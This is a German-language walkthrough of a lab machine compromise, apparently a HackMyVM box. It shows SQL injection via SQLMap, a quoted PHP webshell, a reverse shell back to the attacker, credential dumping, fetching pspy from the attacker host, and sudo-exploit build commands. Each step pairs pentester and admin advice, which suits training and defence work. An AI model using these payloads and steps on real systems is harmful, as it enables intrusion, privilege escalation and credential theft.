Analyse: SQLMap wird hier verwendet, um eine SQL-Injection-Schwachstelle in der Funktion zum Hinzufügen von Produkten (`/manager/add_product.php`) auf `dark.disguise.hmv` zu finden und auszunutzen.
-u "http://dark.disguise.hmv/manager/add_product.php"
: Die Ziel-URL.--method POST
: Die Anfrage erfolgt per POST.--data="name=test&description=test*&price=1&image=dummy"
: Die POST-Daten. Der Stern `*` in `description=test*` markiert den Injektionspunkt für SQLMap.--cookie="dark_session=..."
: Das zuvor erlangte Session-Cookie wird mitgesendet, um authentifiziert zu bleiben.-p description
: Gibt explizit an, dass der Parameter `description` getestet werden soll.--technique=T
: Beschränkt die Tests auf zeitbasierte Blind-SQL-Injection-Techniken.--dbms=mysql
: Gibt an, dass das Backend-DBMS MySQL ist.--sql-query="SELECT image FROM dark_shop.products ORDER BY id DESC LIMIT 1"
: Nachdem die Schwachstelle gefunden wurde, führt SQLMap diese spezifische SQL-Abfrage aus. Ziel ist es, den Pfad des zuletzt hochgeladenen Bildes aus der Tabelle `products` der Datenbank `dark_shop` zu extrahieren.--batch
: Führt SQLMap im nicht-interaktiven Modus aus und beantwortet die meisten Fragen mit den Standardwerten.Bewertung: Dies ist ein weiterer kritischer Fund und eine alternative oder ergänzende Methode zum vorherigen direkten Aufruf der Webshell via `id=11`. SQLMap hat nicht nur die SQL-Injection bestätigt, sondern auch direkt dazu genutzt, den Pfad zur hochgeladenen Webshell aus der Datenbank auszulesen. Dies zeigt, dass die Anwendung anfällig für SQL-Injection ist, was weitreichende Konsequenzen haben kann (Datenextraktion, -manipulation, potenziell auch Codeausführung je nach DBMS-Konfiguration und -Rechten).
Empfehlung (Pentester): Die extrahierten Bildpfade, insbesondere der zur Webshell, können nun verwendet werden, um direkt auf die Shell zuzugreifen. Die SQL-Injection-Schwachstelle selbst sollte weiter untersucht werden, um das volle Ausmaß zu bestimmen (z.B. Auslesen anderer Tabellen, Datenbank-Enumeration).
Empfehlung (Admin): **Beheben Sie die SQL-Injection-Schwachstelle dringend!** Verwenden Sie parametrisierte Abfragen (Prepared Statements) anstelle der direkten Verkettung von Benutzereingaben in SQL-Statements. Validieren und sanitisieren Sie alle Benutzereingaben serverseitig. Beschränken Sie die Datenbankbenutzerrechte auf das absolut Notwendige. Führen Sie regelmäßige Schwachstellenscans und Code-Audits durch.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Hier wird die zuvor über SQLMap extrahierte URL der Webshell (`http://dark.disguise.hmv/images/c76bf961f084a3c713329bd86ef761ba.php`) aufgerufen. An die URL wird der Parameter `?cmd=id` angehängt. Da die Webshell den Code `<?php system($GET['cmd']); ?>` enthält, wird der Befehl `id` auf dem Server ausgeführt. Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass der Befehl erfolgreich ausgeführt wurde und der Webserver (und somit die Webshell) im Kontext des Benutzers `www-data` läuft.
Bewertung: **Fantastisch! Der initiale Zugriff auf das System mit Befehlsausführung als `www-data` ist nun endgültig erreicht und bestätigt!** Dies ist ein entscheidender Moment im Pentest. Der Benutzer `www-data` ist der Standardbenutzer für Apache-Webserver unter Debian/Ubuntu und hat typischerweise eingeschränkte Rechte, aber Zugriff auf Webdateien und potenziell andere Systemressourcen.
Empfehlung (Pentester): Der nächste Schritt ist die Etablierung einer stabilen interaktiven Reverse Shell, um die weitere Enumeration des Systems und die Privilegienerweiterung zu erleichtern. Die aktuelle Webshell ist nützlich für einzelne Befehle, aber für komplexere Aufgaben unhandlich.
Empfehlung (Admin): **Das System ist kompromittiert.** Die Webshell (`c76bf961f084a3c713329bd86ef761ba.php` im `/images`-Verzeichnis) muss sofort entfernt werden. Die zugrundeliegenden Schwachstellen (unsicherer Datei-Upload und SQL-Injection) müssen behoben werden. Eine vollständige Untersuchung des Systems auf weitere Kompromittierungen, Backdoors und Datenlecks ist erforderlich. Das System sollte idealerweise neu aufgesetzt werden, nachdem die Schwachstellen verstanden und behoben wurden.
listening on [any] 4444 ...
[Keine direkte Ausgabe von curl erwartet, die Verbindung erfolgt zum Netcat-Listener]
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.190] 49404 bash: cannot set terminal process group (492): Inappropriate ioctl for device bash: no job control in this shell www-data@disguise:/var/www/dark/images$
Analyse: Diese Sequenz zeigt den Versuch, eine Reverse Shell vom Zielserver (`disguise`) zum Angreifer-Rechner (`cyber`) aufzubauen.
Bewertung: **Sehr gut! Eine interaktive Reverse Shell als Benutzer `www-data` wurde erfolgreich etabliert.** Dies ist ein signifikanter Fortschritt gegenüber der einfachen Webshell. Die IP-Diskrepanz (`.190` statt `.189`) bleibt bestehen, wird aber als kleiner Logfehler betrachtet.
Empfehlung (Pentester): Die nächste Priorität ist es, die Shell zu stabilisieren und aufzuwerten (TTY-Upgrade), um z.B. interaktive Befehle wie `su` oder Editoren wie `vi`/`nano` korrekt nutzen zu können. Gängige Methoden sind Python-pty-Tricks (`python -c 'import pty; pty.spawn("/bin/bash")'`) oder `script /dev/null -c bash`. Danach beginnt die interne Enumeration des Systems zur Privilegienerweiterung.
Empfehlung (Admin): Die Etablierung einer Reverse Shell zeigt eine vollständige Kompromittierung des Webservers im Kontext des `www-data`-Benutzers. Zusätzlich zu den vorherigen Empfehlungen (Webshell entfernen, Schwachstellen beheben) sollten ausgehende Netzwerkverbindungen vom Webserver streng überwacht und eingeschränkt werden (Egress Filtering). Intrusion Detection Systeme können solche Verbindungen erkennen.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.190] 58066 bash: cannot set terminal process group (492): Inappropriate ioctl for device bash: no job control in this shell www-data@disguise:/var/www/dark/images$ which python3 which python3 /usr/bin/python3 www-data@disguise:/var/www/dark/images$ stty rows 47 columns 190 www-data@disguise:/var/www/dark/images$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Dies zeigt die neu etablierte Reverse Shell als `www-data`. Die ersten Befehle dienen der initialen Orientierung und Verbesserung der Shell-Umgebung:
Bewertung: Standardmäßige erste Schritte nach Erhalt einer Shell, um die Interaktion zu erleichtern und die Umgebung zu bestätigen. Die Verfügbarkeit von Python 3 ist ein gutes Zeichen für weitere Aktionen.
Empfehlung (Pentester): Führen Sie ein vollständiges TTY-Upgrade durch, z.B. mit `python3 -c 'import pty; pty.spawn("/bin/bash")'`, gefolgt von `Ctrl+Z`, `stty raw -echo; fg` und `export TERM=xterm` auf dem Angreifer-Terminal.
Empfehlung (Admin): Keine direkten Maßnahmen gegen diese spezifischen Befehle, da sie legitime Benutzeraktionen sein können. Die Verhinderung des initialen Zugriffs ist hier der Schlüssel.
darksoul
total 40 drwxr-xr-x 4 darksoul darksoul 4096 Apr 2 04:19 . drwxr-xr-x 3 root root 4096 Mar 31 11:19 .. lrwxrwxrwx 1 root root 9 Apr 2 00:16 .bash_history -> /dev/null -rw-r--r-- 1 darksoul darksoul 220 Mar 31 11:19 .bash_logout -rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc drwx------ 3 darksoul darksoul 4096 Apr 1 10:03 .gnupg drwxr-xr-x 3 darksoul darksoul 4096 Apr 1 10:04 .local -rw-r--r-- 1 darksoul darksoul 807 Mar 31 11:19 .profile -rw-r--r-- 1 root root 114 Apr 2 04:03 config.ini -rw-r--r-- 1 root root 32 May 4 17:31 darkshopcount -rw------- 1 darksoul darksoul 68 Apr 2 04:22 user.txt
Analyse:
Bewertung: Das Home-Verzeichnis von `darksoul` enthält potenziell interessante Dateien. `config.ini` im Besitz von `root` im Home-Verzeichnis eines anderen Benutzers ist ungewöhnlich und könnte vom `query.py`-Skript verwendet werden. `user.txt` ist das wahrscheinliche Ziel für die User-Flag. Die nicht vorhandene Bash-Historie ist eine kleine Erschwernis.
Empfehlung (Pentester): Versuchen Sie, den Inhalt von `config.ini` und `darkshopcount` zu lesen, da `www-data` möglicherweise Leserechte hat. `user.txt` wird wahrscheinlich erst nach Übernahme des `darksoul`-Accounts oder durch einen anderen Exploit lesbar sein.
Empfehlung (Admin): Überprüfen Sie die Dateiberechtigungen und Eigentümer im System. Dateien im Besitz von `root` in Benutzer-Home-Verzeichnissen sollten einen klaren Zweck haben. Das Verlinken von `.bash_history` auf `/dev/null` kann die Forensik erschweren.
[client] user = dark_db_admin password = Str0ngPassw0d1*** host = localhost database = dark_shop port = int(3306)
Analyse: Der Benutzer `www-data` hat Leserechte auf die Datei `/home/darksoul/config.ini`. Diese Datei enthält Zugangsdaten für eine MySQL-Datenbank: Benutzer `dark_db_admin`, Passwort `Str0ngPassw0d1***`, Host `localhost`, Datenbank `dark_shop`, Port `3306`. Der Eintrag `port = int(3306)` ist ungewöhnlich, normalerweise steht dort nur die Portnummer.
Bewertung: **Kritischer Fund!** Das Auslesen von Datenbank-Zugangsdaten aus einer Konfigurationsdatei ist ein signifikanter Informationsgewinn. Diese Zugangsdaten (`dark_db_admin:Str0ngPassw0d1***`) ermöglichen potenziell direkten Zugriff auf die `dark_shop`-Datenbank.
Empfehlung (Pentester): Versuchen Sie, sich mit den gefundenen Zugangsdaten direkt mit der MySQL-Datenbank auf `localhost` zu verbinden. Untersuchen Sie die Datenbankstruktur, Tabelleninhalte (insbesondere Benutzertabellen, Passwort-Hashes) und Benutzerberechtigungen.
Empfehlung (Admin): Speichern Sie niemals Klartext-Passwörter in Konfigurationsdateien, die von niedrig privilegierten Benutzern gelesen werden können. Beschränken Sie die Leserechte auf Konfigurationsdateien. Verwenden Sie sicherere Mechanismen zur Passwortverwaltung. Stellen Sie sicher, dass Datenbankbenutzer nur die minimal notwendigen Berechtigungen haben.
users count:2 products count:71
Analyse: Der Inhalt der Datei `/home/darksoul/darkshopcount` wird angezeigt. Sie enthält zwei Zeilen, die Zählungen aus der `dark_shop`-Datenbank wiedergeben.
Bewertung: Diese Datei scheint das Ergebnis des `/opt/query.py`-Skripts zu sein, das regelmäßig via Cronjob läuft (wie später mit `pspy` bestätigt wird). Dies erhärtet den Verdacht, dass die `config.ini` von einem privilegierten Prozess verwendet wird.
Empfehlung (Pentester): Beobachten Sie diese Datei auf Änderungen, um die Ausführungsintervalle des Cronjobs zu bestätigen. Der Inhalt selbst ist weniger kritisch, aber die Existenz und Aktualisierung der Datei ist ein wichtiger Hinweis auf den Cronjob.
Empfehlung (Admin): Überprüfen Sie den Zweck dieses Skripts und des Cronjobs. Stellen Sie sicher, dass Ausgabedateien an einem geeigneten Ort und mit korrekten Berechtigungen gespeichert werden.
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for www-data:
Analyse: Der Befehl `sudo -l` listet die Befehle auf, die der aktuelle Benutzer (`www-data`) mit `sudo` ausführen darf. Das System fragt nach dem Passwort für `www-data`.
Bewertung: Da `www-data` typischerweise kein Passwort für die interaktive Anmeldung hat, kann diese Passwortabfrage nicht beantwortet werden. Dies bedeutet, dass `www-data` keine `sudo`-Rechte ohne Passwort hat oder zumindest keine generelle Berechtigung, `sudo -l` auszuführen. Spezifische `NOPASSWD`-Einträge für einzelne Befehle sind dadurch nicht ausgeschlossen, können aber so nicht ermittelt werden.
Empfehlung (Pentester): Da das Passwort für `www-data` unbekannt ist, ist `sudo -l` hier nicht direkt nützlich. Die Suche nach Sudo-Regeln muss über andere Wege erfolgen, falls möglich (z.B. Auslesen der `/etc/sudoers`-Datei, wenn Leserechte bestehen, oder durch Ausnutzung anderer Schwachstellen). Konzentrieren Sie sich auf andere PrivEsk-Vektoren.
Empfehlung (Admin): Konfigurieren Sie `sudo`-Rechte nach dem Prinzip der geringsten Rechte. Dienstkonten wie `www-data` sollten idealerweise keine `sudo`-Rechte haben oder nur sehr spezifische, passwortlose (`NOPASSWD`) Rechte für absolut notwendige Befehle. Die `/etc/sudoers`-Datei sollte streng geschützt sein.
total 12
drwxr-xr-x 2 root root 4096 Apr 1 09:58 .
drwxr-xr-x 18 root root 4096 Mar 31 11:13 ..
-rw-r--r-- 1 root root 870 Apr 1 09:56 query.py
import mysql.connector
import sys
def main():
if len(sys.argv) != 2:
print("Usage: python query.py <configfile>")
sys.exit(1)
cnf = sys.argv[1]
try:
conn = mysql.connector.connect(read_default_file=cnf)
cursor = conn.cursor()
query = 'SELECT COUNT(*) FROM users'
cursor.execute(query)
results = cursor.fetchall()
print(f"users count:{results[0][0]}")
query = 'SELECT COUNT(*) FROM products'
cursor.execute(query)
results = cursor.fetchall()
print(f"products count:{results[0][0]}")
except mysql.connector.Error as err:
print(f"db connect error: {err}")
finally:
if 'cursor' in locals():
cursor.close()
if 'conn' in locals() and conn.is_connected():
conn.close()
if __name__ == "__main__":
main()
Analyse:
Bewertung: Das Skript selbst ist unauffällig, aber die Tatsache, dass es `mysql.connector` importiert und eine Konfigurationsdatei (`cnf`) über `read_default_file` verarbeitet, ist hochinteressant, insbesondere im Zusammenhang mit der `config.ini` im Home-Verzeichnis von `darksoul` und der Vermutung, dass dieses Skript mit erhöhten Rechten laufen könnte.
Empfehlung (Pentester): Überprüfen Sie, ob und wie dieses Skript auf dem System ausgeführt wird (z.B. durch Cronjobs). Wenn es als `root` läuft, ist dies ein starker Kandidat für Privilegienerweiterung durch Manipulation der Konfigurationsdatei (`/home/darksoul/config.ini`) oder durch Python Library Hijacking des `mysql.connector`-Moduls.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte, die mit erhöhten Rechten laufen, keine Konfigurationsdateien aus Benutzerverzeichnissen lesen oder Bibliotheken aus potenziell manipulierbaren Pfaden importieren. Führen Sie Skripte mit minimal notwendigen Rechten aus und härten Sie deren Ausführungsumgebung.
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 115196 Server version: 10.3.39-MariaDB-0+deb10u2 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [dark_shop]> SHOW TABLES; +---------------------+ | Tables_in_dark_shop | +---------------------+ | products | | users | +---------------------+ 2 rows in set (0.000 sec) MariaDB [dark_shop]> SELECT * FROM users; +----+-------------+--------------------------+---------+---------------------+ | id | username | password | isAdmin | created_at | +----+-------------+--------------------------+---------+---------------------+ | 1 | simpleAdmin | U3RyMG5nUGFzc3cwZDFAQEA= | 1 | 2025-04-01 04:33:22 | | 29 | hacker | YmVuaGFja2Vy | 0 | 2025-05-02 17:38:43 | +----+-------------+--------------------------+---------+---------------------+ 2 rows in set (0.000 sec) MariaDB [dark_shop]>
Analyse: Der `www-data`-Benutzer verbindet sich erfolgreich mit der MySQL-Datenbank `dark_shop` unter Verwendung der in `config.ini` gefundenen Zugangsdaten (`dark_db_admin:Str0ngPassw0d1***`).
Bewertung: Der direkte Datenbankzugriff bestätigt die Benutzer und ihre Passwörter (nur Base64-kodiert!). Dies ist eine gravierende Sicherheitslücke. Der Benutzer "hacker" mit Passwort "benhacker" ist ein neuer Fund.
Empfehlung (Pentester): Versuchen Sie, sich mit `hacker:benhacker` auf `http://dark.disguise.hmv/login.php` anzumelden. Untersuchen Sie die Berechtigungen des Datenbankbenutzers `dark_db_admin` (`SHOW GRANTS`).
Empfehlung (Admin): **Speichern Sie Passwörter niemals Base64-kodiert!** Verwenden Sie starke, gesalzene Hashes (Argon2, bcrypt, etc.). Überprüfen Sie alle Benutzerkonten. Beschränken Sie Datenbankbenutzerrechte.
1080 4 -rwxr-xr-x 1 root root 667 Jan 28 2019 /usr/lib/ifupdown/settle-dad.sh 1082 4 -rwxr-xr-x 1 root root 1664 Jan 28 2019 /usr/lib/ifupdown/wait-online.sh .... ... ..
drwxr-xr-x 4 darksoul darksoul 4096 Apr 2 04:19 /home/darksoul
-rw-r--r-- 1 root root 870 Apr 1 09:56 /opt/query.py
/etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
This purges session files in session.save_path older than X,
where X is defined in seconds as the largest value of
session.gc_maxlifetime from all your SAPI php.ini files
or 24 minutes if not defined. The script triggers only
when session.save_handler=files.
WARNING: The scripts tries hard to honour all relevant
session PHP options, but if you do something unusual
you have to disable this script and take care of your
sessions yourself.
Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
Analyse: Diese Befehle sammeln weitere Systeminformationen:
Bewertung: Die Suche nach Shell-Skripten liefert keine offensichtlichen Angriffspunkte. Die Berechtigungen für `/home/darksoul` und `/opt/query.py` sind wie erwartet. Die Untersuchung von `/etc/cron.d/` zeigt keine benutzerdefinierten oder verdächtigen Cronjobs, insbesondere keinen, der `/opt/query.py` ausführt. Dies deutet darauf hin, dass der Cronjob, der `/opt/query.py` startet, möglicherweise in einer anderen Crontab (z.B. der von Root oder `/etc/crontab`) definiert ist oder durch einen anderen Mechanismus (wie systemd Timer) ausgelöst wird.
Empfehlung (Pentester): Da die Standard-Cron-Verzeichnisse keine Hinweise liefern, sind Tools wie `pspy` zur Prozessüberwachung notwendig, um den Trigger für `/opt/query.py` zu finden.
Empfehlung (Admin): Zentralisieren Sie Cronjob-Definitionen nach Möglichkeit (z.B. in `/etc/cron.d/` oder systemd Timern) und dokumentieren Sie diese. Vermeiden Sie es, Jobs direkt in Benutzer-Crontabs oder `/etc/crontab` zu platzieren, wenn es nicht notwendig ist, um die Übersichtlichkeit zu wahren.
NEXT LEFT LAST PASSED UNIT ACTIVATES Sun 2025-05-04 18:09:00 EDT 22min left Sun 2025-05-04 17:39:01 EDT 7min ago phpsessionclean.timer phpsessionclean.service Sun 2025-05-04 20:32:56 EDT 2h 46min left Sun 2025-05-04 09:45:23 EDT 8h ago apt-daily.timer apt-daily.service Mon 2025-05-05 00:00:00 EDT 6h left Sun 2025-05-04 09:45:23 EDT 8h ago logrotate.timer logrotate.service Mon 2025-05-05 00:00:00 EDT 6h left Sun 2025-05-04 09:45:23 EDT 8h ago man-db.timer man-db.service Mon 2025-05-05 06:23:48 EDT 12h left Sun 2025-05-04 09:45:23 EDT 8h ago apt-daily-upgrade.timer apt-daily-upgrade.service Mon 2025-05-05 10:00:55 EDT 16h left Sun 2025-05-04 10:00:55 EDT 7h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service 6 timers listed.
No files found for query-darkshop.service.
must be privileged to use -u
www-data 4444 0.0 0.2 15636 8916 ? S 17:40 0:00 python3 -c import pty;pty.spawn("/bin/bash")
www-data 4511 0.0 0.0 6272 876 pts/1 S+ 17:48 0:00 grep python
Analyse: Diese Befehle dienen der Suche nach geplanten Aufgaben (Cronjobs oder systemd Timers), die für eine Privilegienerweiterung missbraucht werden könnten.
Bewertung: Die Standardmethoden zur Enumeration von geplanten Tasks liefern hier keine direkten Hinweise auf einen privilegierten, periodisch ausgeführten Task, der das Skript `/opt/query.py` verwendet. Weder systemd Timer noch sichtbare Cronjobs (aus `/etc/cron.d/`) scheinen verantwortlich zu sein.
Empfehlung (Pentester): Da die direkten Abfragen fehlschlagen, ist ein Tool wie `pspy` (das später verwendet wird) notwendig, um Prozesse in Echtzeit zu überwachen und so auch kurzlebige Cronjobs (z.B. aus `/etc/crontab` oder der Root-Crontab) oder durch andere Mechanismen gestartete Prozesse zu entdecken, die von Root ausgeführt werden und potenziell manipulierbar sind.
Empfehlung (Admin): Beschränken Sie den Zugriff auf `systemctl` und `crontab` auf berechtigte Benutzer. Überwachen Sie die Erstellung und Änderung von Cronjobs und systemd Units. Führen Sie geplante Aufgaben immer mit den geringstmöglichen Rechten aus.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
--2025-05-04 17:49:36-- http://192.168.2.199:8000/pspy64 Connecting to 192.168.2.199:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: ‘pspy64’ pspy64 100%[=====================================================================================================>] 2.94M --.-KB/s in 0.1s 2025-05-04 17:49:36 (28.1 MB/s) - ‘pspy64’ saved [3078592/3078592]
[Keine Ausgabe]
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2025/05/04 17:49:58 CMD: UID=33 PID=4519 | ./pspy64 2025/05/04 17:50:01 CMD: UID=0 PID=4530 | /bin/sh -c /usr/bin/python3 /opt/query.py /home/darksoul/config.ini > /home/darksoul/darkshopcount 2025/05/04 17:50:01 CMD: UID=0 PID=4531 | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini 2025/05/04 17:50:01 CMD: UID=0 PID=4532 | /bin/sh -c uname -p 2> /dev/null
Analyse: Diese Schrittfolge zeigt den Transfer und die Ausführung von `pspy64`, einem Tool zur Überwachung von Prozessen ohne Root-Rechte, um versteckte Cronjobs oder andere periodisch ausgeführte Prozesse zu finden.
/bin/sh -c /usr/bin/python3 /opt/query.py /home/darksoul/config.ini > /home/darksoul/darkshopcount
/usr/bin/python3 /opt/query.py /home/darksoul/config.ini
Bewertung: **Hervorragend! Dies ist der Schlüssel zur Privilegienerweiterung!** `pspy` hat den versteckten Cronjob aufgedeckt, der das Python-Skript `/opt/query.py` als Root ausführt. Da dieses Skript `mysql.connector` importiert und die verwendete Konfigurationsdatei `/home/darksoul/config.ini` potenziell manipulierbar ist (nach Kompromittierung des `darksoul`-Accounts), öffnet dies die Tür für Codeausführung als Root.
Empfehlung (Pentester): Nutzen Sie diesen Cronjob für die Privilegienerweiterung:
dmesg: read kernel buffer failed: Operation not permitted
Analyse: Der Befehl `dmesg` wird verwendet, um Kernel-Ringpuffer-Nachrichten anzuzeigen, die Informationen über Hardware, Treiber und Systemereignisse enthalten können. Der Versuch schlägt mit "Operation not permitted" fehl.
Bewertung: Es ist üblich, dass unprivilegierte Benutzer wie `www-data` keinen direkten Zugriff auf den Kernel-Meldungspuffer haben. Dies ist eine normale Sicherheitsmaßnahme.
Empfehlung (Pentester): Der fehlende Zugriff auf `dmesg` ist für die Privilegienerweiterung in diesem Fall nicht kritisch. Suchen Sie nach anderen Informationsquellen oder Konzentrieren Sie sich auf die bekannten Vektoren.
Empfehlung (Admin): Die Standardberechtigungen für `dmesg` sind in der Regel angemessen. Stellen Sie sicher, dass keine übermäßigen Berechtigungen für Dienstkonten vergeben werden.
/usr/bin/ping = cap_net_raw+ep
Analyse: Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Capabilities ermöglichen es, spezifische Root-Privilegien feingranular an Prozesse zu vergeben, ohne ihnen volle Root-Rechte zu geben. Die Ausgabe zeigt, dass nur `/usr/bin/ping` die `cap_net_raw`-Capability gesetzt hat, was es ihm erlaubt, rohe Netzwerk-Sockets zu öffnen (notwendig für ICMP Echo Requests), ohne als Root laufen zu müssen.
Bewertung: Das Ergebnis ist unauffällig. Es wurden keine ungewöhnlichen Capabilities gefunden, die direkt für eine Privilegienerweiterung missbraucht werden könnten. `ping` mit `cap_net_raw` ist eine Standardkonfiguration.
Empfehlung (Pentester): Capabilities sind immer einen Blick wert, aber hier gibt es keinen offensichtlichen Angriffspunkt. Konzentrieren Sie sich auf andere Vektoren.
Empfehlung (Admin): Überprüfen Sie regelmäßig die gesetzten Capabilities auf dem System. Vergeben Sie Capabilities nur, wenn sie unbedingt notwendig sind, und verstehen Sie die potenziellen Sicherheitsimplikationen jeder Capability.
Linux disguise 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
Analyse: Der Befehl `uname -a` gibt detaillierte Informationen über das System aus, einschließlich des Kernel-Namens, Hostnamens, Kernel-Release, Kernel-Version, Maschinenarchitektur und Betriebssystem.
Bewertung: Die Kernel-Version `4.19.0-27-amd64` (Debian 4.19.316-1 vom Juni 2024) ist eine wichtige Information für die Suche nach bekannten Kernel-Exploits. Obwohl der Kernel nicht brandaktuell ist, ist er auch nicht extrem alt. Frühere Versuche mit Kernel-Exploits (CVE-2019-13272, CVE-2021-3156) scheiterten oder waren nicht direkt anwendbar.
Empfehlung (Pentester): Nutzen Sie die genaue Kernel-Version, um gezielt nach passenden öffentlichen Exploits zu suchen (z.B. auf Exploit-DB, GitHub). Berücksichtigen Sie auch die Debian-Version (impliziert durch den Kernel-String, wahrscheinlich Debian 10 Buster).
Empfehlung (Admin): Halten Sie den Kernel und das gesamte Betriebssystem durch regelmäßige Updates aktuell, um bekannte Schwachstellen zu schließen.
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 46 Server version: 10.3.39-MariaDB-0+deb10u2 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [dark_shop]> SHOW GRANTS FOR 'dark_db_admin'@'localhost'; +----------------------------------------------------------------------------------------------------------------------+ | Grants for dark_db_admin@localhost | +----------------------------------------------------------------------------------------------------------------------+ | GRANT USAGE ON *.* TO `dark_db_admin`@`localhost` IDENTIFIED BY PASSWORD '*08444073827073F4D984A5DCEC96486869943890' | | GRANT ALL PRIVILEGES ON `dark_shop`.* TO `dark_db_admin`@`localhost` | +----------------------------------------------------------------------------------------------------------------------+ 2 rows in set (0.000 sec) MariaDB [dark_shop]> SELECT "test" INTO OUTFILE '/tmp/mysql_test.txt'; ERROR 1045 (28000): Access denied for user 'dark_db_admin'@'localhost' (using password: YES)
total 8 drwxrwxrwt 2 root root 4096 May 5 08:24 . drwxr-xr-x 18 root root 4096 Mar 31 11:13 ..
Analyse:
Bewertung: Der Datenbankbenutzer `dark_db_admin` hat keine `FILE`-Berechtigung auf globaler Ebene, die notwendig wäre, um `SELECT ... INTO OUTFILE` zu verwenden. Diese Berechtigung ist gefährlich und sollte normalerweise nicht vergeben werden. Das Scheitern dieses Befehls schließt einen einfachen Weg zur Codeausführung oder zum Schreiben von Dateien über die Datenbank (falls `www-data` keine Schreibrechte in relevanten Web-Verzeichnissen hätte) aus.
Empfehlung (Pentester): Da `SELECT INTO OUTFILE` nicht funktioniert, konzentrieren Sie sich auf andere PrivEsk-Methoden, insbesondere den identifizierten Cronjob.
Empfehlung (Admin): Vergeben Sie Datenbankbenutzern nur die minimal notwendigen Berechtigungen. Vermeiden Sie die Vergabe der globalen `FILE`-Berechtigung, es sei denn, es ist absolut unumgänglich und die Sicherheitsimplikationen sind verstanden und mitigiert.
drwxrwsr-x 15 root staff 4096 Apr 1 09:33 /usr/local/lib/python3.7/dist-packages/
drwxr-xr-x 28 root root 4096 Mar 31 11:13 /usr/lib/python3/dist-packages/
drwxrwsr-x 3 root staff 4096 Nov 13 2020 /usr/local/lib/python3.7/
Analyse: Diese Befehle zeigen die Berechtigungen von wichtigen Python-Bibliotheksverzeichnissen.
Bewertung: Der Benutzer `www-data` ist typischerweise nicht Mitglied der Gruppe `staff`. Daher hat `www-data` keine Schreibrechte in `/usr/local/lib/python3.7/dist-packages/`. Ein Python Library Hijacking durch direktes Modifizieren von Bibliotheken in diesen Standardpfaden ist für `www-data` nicht möglich. Dies bestärkt die Strategie, `/tmp` und `PYTHONPATH` zu verwenden.
Empfehlung (Pentester): Da keine Schreibrechte in den Standard-Lib-Pfaden bestehen, bleibt die `PYTHONPATH`-Manipulation der primäre Vektor für Library Hijacking.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von Systemverzeichnissen. Die Gruppe `staff` sollte nur vertrauenswürdige Benutzer enthalten. Das SGID-Bit auf Bibliotheksverzeichnissen sollte vermieden werden, wenn es nicht explizit benötigt wird.
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg. Resolved "debian" as an alias (/etc/containers/registries.conf.d/shortnames.conf) Trying to pull docker.io/library/debian:10... Getting image source signatures Copying blob 3892befd2c3f done | Copying config 69530eaa9e done | Writing manifest to image destination
Get:1 http://deb.debian.org/debian buster InRelease [122 kB] Get:2 http://deb.debian.org/debian-security buster/updates InRelease [34.8 kB] .... [gekürzte apt-Ausgabe] ... Fetched 71.4 MB in 3s (23.5 MB/s) ... [gekürzte apt-Ausgabe] ... Setting up libalgorithm-merge-perl (0.08-3) ... Processing triggers for libc-bin (2.28-10+deb10u3) ...
rm -rf libnss_X sudo-hax-me-a-sandwich
rm -rf libnss_X mkdir libnss_X gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
exit
